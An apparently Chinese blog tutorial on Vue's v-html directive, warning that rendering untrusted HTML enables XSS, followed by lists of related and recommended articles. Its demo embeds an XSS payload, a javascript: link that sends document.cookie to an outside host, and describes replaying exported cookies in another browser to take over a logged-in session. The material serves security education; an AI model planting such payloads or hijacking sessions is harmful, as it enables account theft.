v-html指令总结：

1、作用：向指定节点中渲染包含html结构的内容

2、与插值语法的区别：

（1）v-html 会替换掉节点中所有的内容，{{}}则不会

（2）v-html 可以识别html 结构

3、特别注意：

（1）在网站上动态动态渲染任意HTML是非常危险的，容易导致XSS攻击

（2）一定要在可信的内容上使用v-html，永不要在用户提交的内容上使用

案例分析：

1、在google浏览器和火狐浏览器上安装 Cookie-Editor 插件：http://crx4.com/18460.html

2、在google 浏览器登陆githut 账号 ，使用Cookie-Editor插件将浏览器的Cookie数据导出

3、在火狐浏览器打开githut网站，然后删除Cookie数据，将从google浏览器导出的数据导入到火狐浏览器中，然后刷新页面，会发现火狐浏览器的githut会有登陆后的信息

（1）html

<!DOCTYPE html>

<head>

    <title>v-html</title>

    <script type="text/javascript" src="../js/vue.js"></script>

</head>

<body>

    <div id="root">

        <div v-html="str"></div>

    </div>

</body>

<script type="text/javascript">

    Vue.config.productionTip = false

    new Vue({

        el:"#root",

        data:{

            str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'

        }

    })

</script>

（2）往页面加cookie数据

（3）点击链接，会将系统的cookie数据传走

链接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=41&spm_id_from=pageDriver&vd_source=60a28e8364654bee938864b1d19905ec

第41集

Vue的v-html指令说明，含案例的更多相关文章

  1. VUE：内置指令与自定义指令

    VUE:内置指令与自定义指令 常用的内置指令 1)v:text 更新元素的 textContent 2)v-html 更新元素的 innerHTML 3)v-if 如果为true,当前标签才会输出到页 ...

  2. 【Vue】通过自定义指令回顾 v-内置指令

    Vue.js 的各种指令(Directives)更加方便我们去数据驱动 DOM,例如 v-bind.v-on.v-model.v-if.v-for.v-once 等内置指令,这些指令的职责就是当表达式 ...

  3. Vue API(directives) 自定义指令

    前言:除了vue的内置指令以外,我们可以定义自定义指令.内置指令表相见:https://www.cnblogs.com/ilovexiaoming/p/6840383.html 我们定义一个最简单的 ...

  4. vue自定義指令

    自定義指令可以允許代碼複用, 全局自定義指令 vue.directive('指令名',{鉤子函數:指令函數}) 局部自定義指令: vue({ directives:{指令名:{鉤子函數:指令函數} } ...

  5. Vue(四) 内置指令

    现在介绍 Vue.js 中 更多的内置指令 基本指令 v-cloak v-cloak 不需要表达式,它会在 Vue 实例结束编译时从绑定的 HTML 元素上移除,经常和 CSS 的 display: ...

  6. 移动端Tap与滑屏实战技巧总结以及Vue混合开发自定义指令

    最近在忙混合开发,因交互相对复杂,所以也踩了很多坑.在此做一下总结. 1.tap事件的实际应用 在使用tap事件时,老生常谈的肯定是点透问题,大多情况下,在有滑屏交互的页面时,我们会在根节点阻止默认行 ...

  7. vue教程2-07 自定义指令

    vue教程2-07 自定义指令 自定义指令: 一.属性: Vue.directive(指令名称,function(参数){ this.el -> 原生DOM元素 }); <div v-re ...

  8. Vue 框架-07-循环指令 v-for，和模板的使用

    Vue 框架-07-循环指令 v-for,和模板的使用 本章主要是写一些小实例,记录代码,想要更详细的话,请查看 官方文档:https://cn.vuejs.org/v2/guide/#%E6%9D% ...

  9. Vue.js之常用指令

    vue常用指令 vue.js官方给自己的定义是数据模板引擎,并给出了一套渲染数据的指令.本文详细介绍vue.js的常用指令. 官网:点我 一.v-text.v-html v-text:用于绑定文本 v ...

  10. 1.Vue.js的常用指令

      Vue.js介绍 Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的.相比于Angular.js,Vue.js提供了更加简洁.更易于理解的API,使得 ...

随机推荐

  1. 面向对象程序设计第二次blog

    一.前言 第四次题目集总结-- 题量:较多 难度:较高 知识点: 获取输入字符串的特定字符类型 获取并储存.计算 循环.选择.字符串.数组的使用 继承 类的设计 总结:题目比较难,题量较少,需要用到正 ...

  2. 访问第三方接口带Authorization认证

    第一种方式 HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.add("Authorization", " ...

  3. 预处理指令详解（C语言

    一.预处理符号 预处理符号是C语言内置的符号,是可以直接使用的. 其中,若遵顼ANSI C,则__STDC__ 为1,否则未定义. 二.#define 1)定义标识符 define可以用来定义标识符, ...

  4. vue 清空element表单数据

    resetFields是用于针对整个表单的 Form Methods(整个表单) resetField 是针对表单项的 Form-Item Methods(表单的某一个项) this.$refs['e ...

  5. 安装centos，ubuntu系统

    安装centos系统 1.首先进入VMware,新建虚拟机,选择典型,然后下一步 2.稍后安装系统,下一步 3.因为此次安装的是centos7.9系统,因此版本选择7 64位,下一步 4.选择虚拟机的 ...

  6. k8s安装metrics-server

    Kubernetes Metrics Server: Kubernetes Metrics Server 是 Cluster 的核心监控数据的聚合器,kubeadm 默认是不部署的. Metrics ...

  7. # huawei--流策略+NAT+单臂路由

    huawei--流策略+NAT+单臂路由 项目要求: 公司内部有两个网段,分别为192.168.1.0/24和192.168.2.0/24,使用路由器R1实现单臂路由,并配置流策略,使192.168. ...

  8. sql执行多条语句

    问题背景: 今天想在xml里面写一个sql,执行批量修改, update question_rules set score=${rule.score}, data_describe=#{rule.da ...

  9. CSP202104-4校门外的树

    `#include include include include include include include include include include include include us ...

  10. 初学pwn的课程第一课

    pwn的攻击基础原理 我的理解是主要通过分析主文件,然后获得有用信息,通过exploit对服务器输入指定的payload数据,获取服务器的shell,就是进入服务器的终端,获取服务器的控制权,对服务器 ...